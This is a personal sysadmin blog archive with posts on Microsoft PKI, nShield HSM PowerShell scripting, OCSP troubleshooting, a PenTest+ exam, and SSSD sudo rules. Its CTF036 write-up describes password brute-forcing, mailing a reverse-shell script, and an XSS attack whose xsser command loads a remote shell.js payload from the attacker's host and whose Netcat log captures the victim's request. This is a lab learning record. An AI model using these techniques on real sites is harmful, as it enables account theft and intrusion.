2018-06-23 14:08:00
It has been little over a year now since I started at $CLIENT. I've learned so many new things in those twelve months, it's almost mindboggling. Here's how I described it to an acquaintance recently:
"To say that I’m one lucky guy would be understating things. Little over a year ago I was interviewed to join a project as their “pki guy”: I had very little experience with certificates, had messed around a bit with nShield HSMs, but my customer was willing to take a chance on me. ... ... A year onwards I’ve put together something that I feel is pretty sturdy. ... We have working DTAP environments, the production environment’s been covered with a decent keygen ceremony and I’m training the support crew for their admin-tasks. There’s still plenty of issues to iron out, like our first root/issuing CA renewal in a few weeks, but I’m feeling pretty good about it all."
As I described to them, I feel that I'm at a 5/10 right now when it comes to PKI experience. I have a good grasp of the basics, I understand some of the intricacies, I've dodged a bunch of pitfalls and I've come to know at least one platform.
How little I know about this specific platform (Microsoft's Active Directory Certificate Services) gets reinforced frequently, for example by stumbling upon Brian Komar's reply to this thread. The screenshot above might not look like much, but it made my day yesterday :) "Pkiview.msc" you say? It builds a tree-view of your PKI's structure on the lefthand side and on the right side it will show you all the relevant data points for each CA in the list.
This is awesome, because it will show you immediately when one of your important pieces of meta-data goes unavailable. For example, in the PKI I built I have a bunch of clones of the CRL Distribution Point (CDP) spread across the network. Oddly, these clones were lighting up red in the pkiview tool. Turns out that the cloning script had died a whiles back, without any of us noticing.
So yeah, it may not look like much, but that's one great troubleshooting tool :)
kilala.nl tags: work, sysadmin,
View or add comments (curr. 0)
2018-05-22 18:54:00
Building on my previous Thales nShield HSM blog post, here's a nice improvement.
If you make an array with (FQDN) hostnames of HSM-clients you can run the following Powershell script on your RFS-box to traverse all HSM-systems so you can cross-reference their certs to the kmdata files in your nShield RFS.
$Hosts="host1","host2","host3"
ForEach ($TargetHost) in $Hosts)
{
Invoke-Command -ComputerName $TargetHost -ScriptBlock {
$Thumbs=Get-ChildItem cert:LocalMachineMy
ForEach ($TP in $Thumbs.thumbprint) {
$BLOB=(certutil -store My $TP);
$HOSTNAME=(hostname);
$SUBJ=($BLOB | Select-String "Subject:").ToString().Replace("Subject: ","");
$CONT=($BLOB | Select-String "Key Container =").ToString().Replace("Key Container = ","").Replace(" ","");
Write-Output "$HOSTNAME $TP ""$SUBJ"" ""$CONT""";
}
}
}
$KeyFiles = Get-ChildItem 'C:ProgramData CipherKey Management DataLocalkey_caping*'
ForEach ($KMData in $KeyFiles) {
$CONT=(kmfile-dump -p $KMData | Select -First 7 | Select -Last 1)
Write-Output "$KMData $CONT";
}
For example, output for the previous example would be:
TESTBOX F34F7A37C39255FA7E007AE68C1FE3BD92603A0D "CN=testbox, C=thomas, C=NL" "ThomasTest"
C:ProgramData CipherKey Management DataLocalkey_caping_machine--a45b47a3cee75df2fe462521313eebe9ef5ab4 ThomasTest
The first line is for host TESTBOX and it shows the certificate for the testbox certificate, with a link to the ThomasTest container. The second line shows the specific kmdata file that is tied to the ThomasTest container. Nice :)
kilala.nl tags: security, work, sysadmin,
View or add comments (curr. 0)
2018-05-22 18:39:00
Over the past few weeks I've had a nagging question: Windows certutil / certlm.msc has an overview of the active certificates and key pairs for a computer system, but when your keys are protected by an Thales nShield HSM you can't get to the private keys. Fair enough. But then there's the %NFAST_KMDATA% directory on the nShield RFS-server, whose local subdirectory contains all of the private keys that are protected by the HSM. And I do mean all the key materials. And those files are not marked in easy to identify ways.
So my question? Which of the files on the %NFAST_KMDATA%/local ties to which certificate on which HSM-client?
I've finally figured it all out :) Let's go to Powershell!
PS C:Windowssystem32> cd cert:LocalMachineMy
PS Cert:LocalMachineMy> dir
Directory: Microsoft.PowerShell.SecurityCertificate::LocalMachineMy
Thumbprint Subject
---------- -------
F34F7A37C39255FA7E007AE68C1FE3BD92603A0D CN=testbox, C=thomas, C=NL
...
So! After moving into the "Personal" keystore for the local system you can see all certs by simply running dir. This will show you both the thumbprint and the Subject of the cert in question. Using the Powershell Format-List command will show you the interesting meta-info (the example below has many lines remove).
PS Cert:LocalMachineMy> dir F34F7A37C39255FA7E007AE68C1FE3BD92603A0D | fl *
...
DnsNameList : {testbox}
...
HasPrivateKey : True
PrivateKey :
PublicKey : System.Security.Cryptography.X509Certificates.PublicKey
SerialNumber : 6FE2C038ED73E7A0469E5E3641BD3690
Subject : CN=testbox, C=thomas, C=NL
Cool! Now, the two bold-printed, underlined lines are interesting, because the system tells you that it does have access to the relevant private key, but it does not have clear informatin as to where this key lives. We can turn to the certutil tool to find the important piece to the puzzle: the key container name.
PS Cert:LocalMachineMy> certutil -store My F34F7A37C39255FA7E007AE68C1FE3BD92603A0D
...
Serial Number: 6fe2c038ed73e7a0469e5e3641bd3690
Subject: CN=testbox, C=thomas, C=NL
Key Container = ThomasTest
Provider = nCipher Security World Key Storage Provider
Private key is NOT exportable
...
Again, the interesting stuff is bold and underlined. This shows that the private key is accessible through the Key Storage Provider (KSP) "nCipher Security World KSP" and that the relevant container is named "ThomasTest". This name is confirmed by the nShield command to list your keys:
PS Cert:LocalMachineMy> cnglist --list-keys
ThomasTest: RSA machine
...
Now comes the tricky part: the key management data files (kmdata) don't have a filename tying them to the container names:
PS Cert:LocalMachineMy> cd 'C:programdata CipherKey Management DataLocal'
PS C:programdata CipherKey Management DataLocal> dir
...
-a--- 27-12-2017 14:03 5336 key_caping_machine--...
-a--- 27-12-2017 14:03 5336 key_caping_machine--...
-a--- 27-12-2017 11:46 5336 key_caping_machine--...
-a--- 15-5-2018 13:37 5188 key_caping_machine--a45b47a3cee75df2fe462521313eebb1e9ef5ab4...
So, let's try an old-fashioned grep shall we? :)
PS C:programdata CipherKey Management DataLocal> Select-String thomastest *caping_*
key_caping_machine--a45b47a3cee75df2fe462521313eebb1e9ef5ab4:2: ThomasTest ? ∂ Vu ?{?%f?&??)?U;?m??? ?? ?? ?? 1???B'?????'@??I?MK?+9$KdMt??})???7?em??pm?? ?
This suggests that we could inspect the kmdata files and find out their key container name.
PS C:programdata CipherKey Management DataLocal> kmfile-dump -p key_caping_machine--a45b47a3cee75df2fe462521313eebe9ef5ab4
key_caping_machine--a45b47a3cee75df2fe462521313eebb1e9ef5ab4
AppName
caping
Ident
machine--a45b47a3cee75df2fe462521313eebb1e9ef5ab4
Name
ThomasTest
...
SHAZAM!
Of course we can also inspect all the key management data files in one go:
PS: C:> $Files = Get-ChildItem 'C:ProgramData CipherKey Management DataLocalkey_caping*'
PS: C:> ForEach ($KMData in $Files) {kmfile-dump -p $KMData | Select -First 7)
C:ProgramData CipherKey Management DataLocalkey_caping_machine--a45b47a3cee75df2fe462521313eebe9ef5ab4
AppName
caping
Ident
machine--a45b47a3cee75df2fe462521313eebb1e9ef5ab4
Name
ThomasTest
kilala.nl tags: work, sysadmin,
View or add comments (curr. 0)
2018-05-17 20:18:00
Over the past few months I've built a few PKI environments, all based on Microsoft's ADCS. One of the services I've rolled out is the Microsoft OCSP Responder Array: a group of servers working together to provide OCSP responses across your network.
I've run into some weirdness with the OCSP Responders, when working with the Thales / nCipher nShield HSMs. For example, the array would consist of a handful of slaves and one master server. Everything'd be running just fine for a week or so, until it's time to refresh the OCSP signing certificates. Then, one out of the array starts misbehaving! All the other nodes are fine, but one of'm just stops serving responses.
The Windows Event Log contains error codes involving “CRYPT_E_NO_PROVIDER”, “NCCNG_NCryptCreatePersistedKey existing lock file” and "The Online Responder Service could not locatie a signing certificate for configuration XXXX. (Cannot find the original signer)". Now that second one is a big hint!
I haven't found out why yet, but the problem lies in lock files with the HSM's security world. If you check %NFAST_KMDATA%local you'll find a file with "lock" at the end of its name. Normally when requesting a keypair from the HSM, a temporary lock is created which gets removed once the keypair is provided. But for some reason the transaction doesn't finish and the lock file stays in place.
For now, the temporary solution is to:
With that out of the way, here's two other random tidbits :)
In some cases the service may throw out errors like "Online Responder failed to create an enrollment request" in close proximity to "This operation requires an interactive window station". This happens when you did not setup the keys to be module-protected. The service is asking your HSM for its keys and the HSM is in turn asking you to provide a quorum of OCS (operator cards). If you want the Windows services to auto-start at boot time, always set their keys up as "module protected". And don't forget to run both capingwizard64.exe and domesticwizard64.exe to set this as the default as well!
Finally, from this awesome presentation which explains common mistakes when building an AD PKI: using certutil -getreg provides boatloads of useful information! For example, in order for OCSP responses to be properly signed after rolling over your keypairs, you'll need to certutil -setreg caUseDefinedCACertInRequest 1.
(Seriously, Mark Cooper is a PKI wizard!)
kilala.nl tags: work, sysadmin,
View or add comments (curr. 0)
2018-04-16 12:55:00
I've taken the day off, despite things being quite busy at the office, to have a little fun. Specifically, I've just arrived back home after sitting the CompTIA PenTest+ Beta exam. Taking an exam for fun? Absolutely :)
It's no surprise that I first heard about the newly developed exam on Reddit, with the CompTIA team calling for 400 people to take the beta-version of the exam. We're not getting any scores yet, as they'll first tally all the outcomes to determine weaknesses and flaws in questions that may affect scoring negatively. But once the process has completed, if (and that's an IF) you passed you'll gain full accreditation for the cert. All that and a fun day, for just $50? Sign me up :)
Being a non-native english speaker I was given an extension, tackling 110 questions in 220 minutes (instead of 165). That was certainly doable: I got up from my seat with two hours gone. Overall I can say that my impression of the exam is favorable! While one or two specific topics may have stolen the limelight, I can say that my exam covered a diverse array of subjects. The "simulation" questions as they call them were, ehh, okay. They're not what I would call actual simulations, they're more like interactive screens, but I do feel they added something to the experience.
Yeah! Not bad at all! I would heartily endorse this certification track instead of EC Council's CEH. The latter may have better brand-recognition in EMEA, but CompTIA is still known as a respectable organization.
So, did I pass? I don't know :) As I said, the subject matter turned out to be very diverse, in a very good way. Thus it also covered things I have zero to very little experience with, while an experienced pen-tester would definitely know. And that's the point: despite passing the OSCP exam last year, I -am- still a newbie pen-tester. So if I fail this exam, then I'll feel that it's a justified failure.
kilala.nl tags: work,
View or add comments (curr. 2)
2018-04-01 13:16:00
Image credits go to Cincero, who took photos all day.
Another year, another CTF036! No longer under the Ultimum flag, but this time organised by Cincero / Secured by Design. Same awesome people, different company name. The 2016 and 2017 editions were awesome and this year's party lived up to its fame.
As is tradition, the AM was filled with presentations. I was invited to talk as well, but I didn't have anything presentable ready to go; maybe next year! It was a busy day, and Wesley kicked off with DearBytes' findings about the security of home automation systems. Good talk, which had my colleague Dirk's attention because his home is pretty heavily filled with that stuff ;)
Dick and I would be teaming up under the Unixerius flag. Lunch was sorted pretty quickly, so we set up our systems around 12:30. Between us two we had three laptops, with my burner laptop serving as Google-machine through my mobile data connection (the in-house Internet connection wasn't very fast). The casus was consistent with the last years: a description of the target, an explanation why we were hacking their servers and a few leads to get us started. To sum it up:
First order of business: slurp down anything the DNS would give us (a successful zone transfer showed just the four systems, spread across two ranges) and run some port scans against the front two boxen. Results?
While perusing the website, we found a number of valid email addresses for employees to try on Squirrelmail. After going over my old OSCP notes, Dick put together a userlist and got to work with Hydra in hopes of brute-forcing passwords for their accounts. This is where the basic Kali stuff isn't sufficient: there are no wordlists for Dutch targets :) While rockyou.txt is awesome, it won't contain famous passwords such as Welkom01, Maandag2018, Andijvie18 and so on. It's time to start putting together a set of rules and wordlists for Dutch targets! In the end we got into two mailboxes, which got us another seven cards: 140 points.
Unfortunately we didn't get any points beyond that, despite trying a lot of avenues!
Open SMB shares: Dirk suspected there was more to the open SMB shares, so he focused on those. Turning to Metasploit and others, he hoped to perform a SMB relay attack using the MSF tooling. Michael later confided that EternalBlue would not work (due to patching), but that the SMB redir was in fact the way to go. Unfortunately Dick couldn't get this one to work; more troubleshooting needed.
Squirrelmail REXEC: Dick noticed that the Squirrelmail version was susceptible to a remote command execution vulnerability. Unfortunately, after quite a bit of trying he concluded that this particular install had been patched. Darn!
Mailing a script: In his own presentation Michael had stressed the importance of simulating human interaction in a CTF, be it through automation or by using a trainee ;) After the rather hamfisted hints in the Squirrelmail boxes we'd opened, Dick decided to look for a Powershell reverse-shell script and to mail it to the guy waiting for "a script to run". Not one minute before the final bell of the CTF did he get a reverse session! It didn't count for points, but that was a nice find of him.
SQLi in the site: I ran the excellent SQLMap against all forms and variables that I could find in the site. No inroads found.
XSS in the site: Michael pointed out that one variable on the site should catch my eye, so I went over it all again. Turns out that hoedan.php?topic= is susceptible to cross-site scripting. This is where I needed to start learning, because I'm still an utter newb at this subject. I expected some analogue of SQLMap to exist for XSS and I wasn't wrong! XSSER is a great tool that automates hunting for XSS vulnerabilities! Case in point:
$ xsser -u "http://www.pay-deal.nl" -g "/hoedan.php?topic=XSS" --auto --Fr "https://172.18.9.8/shell.js"
...
===========================================
[*] Final Results:
===========================================
- Injections: 558
- Failed: 528
- Sucessfull: 30
- Accur: 5 %
Here's a great presentation by the author of XSSER: XSS for fun and profit.
This could be useful! Which is why I tried a few avenues. Using XSSER, Metasploit and some manual work I determined that the XSS wouldn't allow me to run SQL commands, nor include any PHP. Javascript was the thing that was going to fly. Fair enough.
Now, that website contained a contact form which can be used to submit your own website for inclusion in the payment network. Sounds like a great way to get a "human" to visit your site.
Browser_autopwn: At first, I used SEToolkit and MSF to run attacks like browser_autopwn2, inserting my own workstations webserver and the relevant URL into the contact form. I certainly got visits and after some tweaking determined that the user came from one of the workstations and was running FireFox 51. Unfortunately, after trying many different payloads, none of them worked. So no go on pwning the browser on the workstation.
Grabbing dashboard cookies: Another great article I found helped me get on the way with this one: From reflected XSS to shell. My intention was to have the pay-deal administrator visit their own site (with XSS vuln), so I could grab their cookie in hopes of it having authentication information in there. Basically, like this:
http://www.pay-deal.nl/hoedan.php?topic=Registreren”>
While the attack worked and I did get a cookie barfed onto my Netcat listener, it did not contain any authenticating information for the site:
===========================================
connect to [172.18.9.8] from (UNKNOWN) [172.18.8.10] 55469
GET / HTTP/1.1
Host: 172.18.9.8
User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:59.0) Gecko/20100101 Firefox/59.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: nl,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate
Connection: keep-alive
Upgrade-Insecure-Requests: 1
===========================================
Turns out I probably did something wrong, because according to Michael's post-CTF talk this was indeed the inroad to be taken: grab the admin's cookie, login to the dashboard, grab more credit cards and abuse the file upload tool for more LFI fun! Similarly, Dick's attempts at the SMB relay should have also given him inroads to attack the box. We were well on our way, after a bunch of hints. So, we're still pretty big newbs :D
It was an awesome day! I wish I had more spare time, so I could continue the PWK/OSCP online labs and so I could play around with HackTheBox and VulnHub.
EDIT: Here's a great SANS article explaining SMB relay in detail.
View or add comments (curr. 0)
2018-03-25 20:54:00
It's been a few months since I last took a certification exam: I closed last year with a speed-run of RedHat's EX413, which was a thrill. Since then, I've taken some time off: got into Civ6, read a few books, caught up on a few shows. But as some of my friends will know, it's never too long before I start feeling that itch again... Time to study!
A few weeks back I learned of the new CompTIA PenTest+ certification. They advertised their new cert with a trial run for the first 400 takers. A beta-test of an exam for $50?! I'm game! Sounds like a lot of fun!
Judging by the reactions on TechExams and Reddit, the test is hard to pin down. CompTIA themselves boast "a need for practical experience", while also providing a VERY extensive list of objectives. Seriously, the list is huge. Reports from test-takers are also all over the place: easy drag-and-drop "simulations", large swathes of multiple-choice questions, a very large focus on four of the big names in scripting, "more challenging than I had expected", or "what CEH should have been".
As for me, my test is booked for 16/04. I don't fully know what to expect, but I intend to have fun! In the mean time I'm using the large list of objectives to simply learn more abou the world of pentesting. My OSCP-certification suggests that I at least understand the basics, but to me it's mostly shown me how much I don't know :)
kilala.nl tags: work,
View or add comments (curr. 0)
2018-01-10 20:14:00
Recently I've gone over a number of options of connecting a Linux environment in an existing Active Directory domain. I won't go into the customer's specifics, but after considering Winbind, SSSD, old school LDAP and commercial offerings like PBIS we went with the modern-yet-free SSSD-based solution. The upside of this approach is that integration is quick and easy. Not much manual labor needed at all.
What's even cooler, is that SSSD supports sudoers rulesets by default!
With a few tiny adjustments to your configuration and after loading the relevant schema into AD, you're set to go! Jakub Hrozek wrote instructions a while back; they couldn't be simpler!
So now we have AD-based user logins and Sudo rules! That's pretty neat, because not only is our user management centralized, so is the full administration of Sudo! No need to manage /etc/sudoers and /etc/sudoers.d on all your boxen! Config management tools like Puppet or Ansible might make that easier, but one central repo is even nicer! :D
Now, I've been working with the PasswordState password management platform for a few weeks and so far I love it. Before getting the logins+Sudo centralized, getting the right privileged accounts on the Linux boxen was a bit of a headache. Well, not anymore! What's even cooler, is that using Sudo+LDAP improves upon a design limitation of PasswordState!
Due to the way their plugins are built, Click Studios say you need -two- privileged accounts to manage Linux passwords (source, chapter 14). One that has Defaults:privuser rootpw in sudoers and one that doesn't. All because of how the root password gets validated with the heartbeat script. With Sudoers residing in LDAP this problem goes away! I quote (from the sudoers.ldap man-page):
It is possible to specify per-entry options that override the global default options. /etc/sudoers only supports default options and limited options associated with user/host/commands/aliases. The syntax is complicated and can be difficult for users to understand. Placing the options directly in the entry is more natural.
Would you look at that! :) That means that, per the current build of PasswordState, the privileged user for Linux account management needs the following three sudoers entries in AD / LDAP.
CN=pstate-ECHO,OU=sudoers,OU=domain,OU=local:
sudoHost = ALL
sudoCommand = /usr/bin/echo
sudoOption = rootpw
sudoUser = pstateCN=pstate-PASSWDROOT,OU=sudoers,OU=domain,OU=local:
sudoHost = ALL
sudoCommand = /usr/bin/passwd root
sudoOption = rootpw
sudoOrder = 10
sudoUser = pstateCN=pstate-PASSWD,OU=sudoers,OU=domain,OU=local:
sudoHost = ALL
sudoCommand = /usr/bin/passwd *
sudoUser = pstate
The "sudo echo" is used to validate the root password (because the rootpw option is applied). I only applied the rootpw option to "sudo passwd root" to maintain compatibility with the default script included with PasswordState.
kilala.nl tags: work, sysadmin,
View or add comments (curr. 0)
All content, with exception of "borrowed" blogpost images, or unless otherwise indicated, is copyright of Thomas Sluyter. The character Kilala the cat-demon is copyright of Rumiko Takahashi and used here without permission.